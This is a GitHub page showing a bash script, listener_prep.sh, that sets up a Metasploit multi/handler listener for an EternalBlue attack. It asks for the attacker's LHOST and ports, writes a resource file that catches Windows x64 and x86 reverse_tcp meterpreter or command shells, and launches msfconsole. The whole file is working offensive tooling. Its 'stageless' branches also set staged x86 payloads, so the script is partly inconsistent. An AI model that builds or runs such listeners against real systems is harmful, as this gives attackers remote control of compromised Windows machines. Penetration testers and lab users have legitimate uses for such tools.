-
Notifications
You must be signed in to change notification settings - Fork 313
/
listener_prep.sh
executable file
·97 lines (96 loc) · 3.55 KB
/
listener_prep.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#!/bin/bash
cat << "EOF"
__
/,-
||)
\\_, )
`--'
EOF
echo Eternal Blue Metasploit Listener
echo
echo LHOST for reverse connection:
read ip
echo LPORT for x64 reverse connection:
read portOne
echo LPORT for x86 reverse connection:
read portTwo
echo Enter 0 for meterpreter shell or 1 for regular cmd shell:
read cmd
# Changes made for better portability and clarity
if [ "$cmd" -eq 0 ]; then
read -p "Type 0 if this is a staged payload or 1 if it is for a stageless payload: " staged
if [ "$staged" -eq 0 ]; then
echo "Starting listener (staged)..."
touch config.rc
echo "use exploit/multi/handler" > config.rc
echo "set PAYLOAD windows/x64/meterpreter/reverse_tcp" >> config.rc
echo "set LHOST $ip" >> config.rc
echo "set LPORT $portOne" >> config.rc
echo "set ExitOnSession false" >> config.rc
echo "set EXITFUNC thread" >> config.rc
echo "exploit -j" >> config.rc
echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> config.rc
echo "set LPORT $portTwo" >> config.rc
echo "exploit -j" >> config.rc
/etc/init.d/postgresql start
msfconsole -r config.rc
/etc/init.d/postgresql stop
rm config.rc
elif [ "$staged" -eq 1 ]; then
echo "Starting listener (stageless)..."
touch config.rc
echo "use exploit/multi/handler" > config.rc
echo "set PAYLOAD windows/x64/meterpreter_reverse_tcp" >> config.rc
echo "set LHOST $ip" >> config.rc
echo "set LPORT $portOne" >> config.rc
echo "set ExitOnSession false" >> config.rc
echo "set EXITFUNC thread" >> config.rc
echo "exploit -j" >> config.rc
echo "set PAYLOAD windows/meterpreter/reverse_tcp" >> config.rc
echo "set LPORT $portTwo" >> config.rc
echo "exploit -j" >> config.rc
/etc/init.d/postgresql start
msfconsole -r config.rc
/etc/init.d/postgresql stop
rm config.rc
fi
elif [ "$cmd" -eq 1 ]; then
read -p "Type 0 if this is a staged payload or 1 if it is for a stageless payload: " staged
if [ "$staged" -eq 0 ]; then
echo "Starting listener (staged)..."
touch config.rc
echo "use exploit/multi/handler" > config.rc
echo "set PAYLOAD windows/x64/shell/reverse_tcp" >> config.rc
echo "set LHOST $ip" >> config.rc
echo "set LPORT $portOne" >> config.rc
echo "set ExitOnSession false" >> config.rc
echo "set EXITFUNC thread" >> config.rc
echo "exploit -j" >> config.rc
echo "set PAYLOAD windows/shell/reverse_tcp" >> config.rc
echo "set LPORT $portTwo" >> config.rc
echo "exploit -j" >> config.rc
/etc/init.d/postgresql start
msfconsole -r config.rc
/etc/init.d/postgresql stop
rm config.rc
elif [ "$staged" -eq 1 ]; then
echo "Starting listener (stageless)..."
touch config.rc
echo "use exploit/multi/handler" > config.rc
echo "set PAYLOAD windows/x64/shell_reverse_tcp" >> config.rc
echo "set LHOST $ip" >> config.rc
echo "set LPORT $portOne" >> config.rc
echo "set ExitOnSession false" >> config.rc
echo "set EXITFUNC thread" >> config.rc
echo "exploit -j" >> config.rc
echo "set PAYLOAD windows/shell/reverse_tcp" >> config.rc
echo "set LPORT $portTwo" >> config.rc
echo "exploit -j" >> config.rc
/etc/init.d/postgresql start
msfconsole -r config.rc
/etc/init.d/postgresql stop
rm config.rc
fi
else
echo "Invalid option...exiting..."
fi